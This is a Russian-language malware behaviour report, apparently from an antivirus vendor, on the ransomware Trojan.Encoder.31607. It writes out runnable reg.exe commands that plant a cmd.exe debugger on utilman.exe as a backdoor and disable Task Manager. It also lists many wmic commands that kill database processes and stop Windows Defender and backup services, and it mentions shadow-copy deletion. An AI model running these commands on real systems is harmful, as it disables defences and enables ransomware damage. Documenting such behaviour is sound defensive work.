Trojan.Encoder.31607

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe] 'Debugger' = '<SYSTEM32>\cmd.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe] 'Debugger' = 'Hotkey Disabled'

Создает следующие файлы на съемном носителе

<Имя диска съемного носителя>:\split.avi_id_2765792699_helpyou@countermail.com.google
<Имя диска съемного носителя>:\delete.avi_id_2765792699_helpyou@countermail.com.google

Вредоносные функции

Для затруднения выявления своего присутствия в системе

удаляет теневые копии разделов.

Завершает или пытается завершить

следующие системные процессы:

<SYSTEM32>\vssvc.exe

Изменения в файловой системе

Создает следующие файлы

D:\install.log_id_2765792699_helpyou@countermail.com.google

Другое

Запускает на исполнение

'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -NoExit -Command -
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Process where "name like '%%QB%%'" call terminate
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Process where "name like '%%msftefd%%'" call terminate
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Process where "name like '%%msftesql%%'" call terminate
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Process where "name like '%%mysql%%'" call terminate
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Process where "name like '%%node%%'" call terminate
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Process where "name like '%%noderunner%%'" call terminate
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Process where "name like '%%omtsreco%%'" call terminate
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Service where "name like '%%SQL%%'" call stopservice
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Process where "name like '%%oracle%%'" call terminate
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Process where "name like '%%store%%'" call terminate
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Process where "name like '%%acess%%'" call terminate
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Process where "name like '%%acrord%%'" call terminate
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Process where "name like '%%code%%'" call terminate
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Process where "name like '%%devenv%%'" call terminate
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Process where "name like '%%avp%%'" call terminate
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Process where "name like '%%swprv%%'" call terminate
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Service where "name like '%%QB%%'" call stopservice
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Service where "name like '%%Quick%%'" call stopservice
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Service where "name like '%%wsbexchange%%'" call stopservice
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Service where "name like '%%Exchange%%'" call stopservice
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Service where "name like '%%MBAMService%%'" call stopservice
'<SYSTEM32>\vssvc.exe'
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /f /v Debugger /t REG_SZ /d <SYSTEM32>\cmd.exe
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /f /v Debugger /t REG_SZ /d "Hotkey Disabled"
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Service where "name like '%%MSSQL%%'" call stopservice
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Service where "name like '%%SQLAgent%%'" call stopservice
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Service where "name like '%%SQLBrowser%%'" call stopservice
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Service where "name like '%%ReportServer%%'" call stopservice
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Process where "name like '%%VSSVC%%'" call terminate
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Process where "name like '%%sql%%'" call terminate
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Service where "name like '%%SQLWriter%%'" call stopservice
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Service where "name like '%%firebird%%'" call stopservice
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Service where "name like '%%WinDefend%%'" call stopservice
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Service where "name like '%%mr2kserv%%'" call stopservice
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Service where "name like '%%IISADMIN%%'" call stopservice
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Service where "name like '%%Database%%'" call stopservice
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Service where "name like '%%QuickBooksDB%%'" call stopservice
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Service where "name like '%%MongoDB%%'" call stopservice
'%WINDIR%\syswow64\net.exe' view
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Service where "name like '%%MySQL%%'" call stopservice
'%WINDIR%\syswow64\wbem\wmic.exe' path Win32_Process where "name like '%%sqlsrvr%%'" call terminate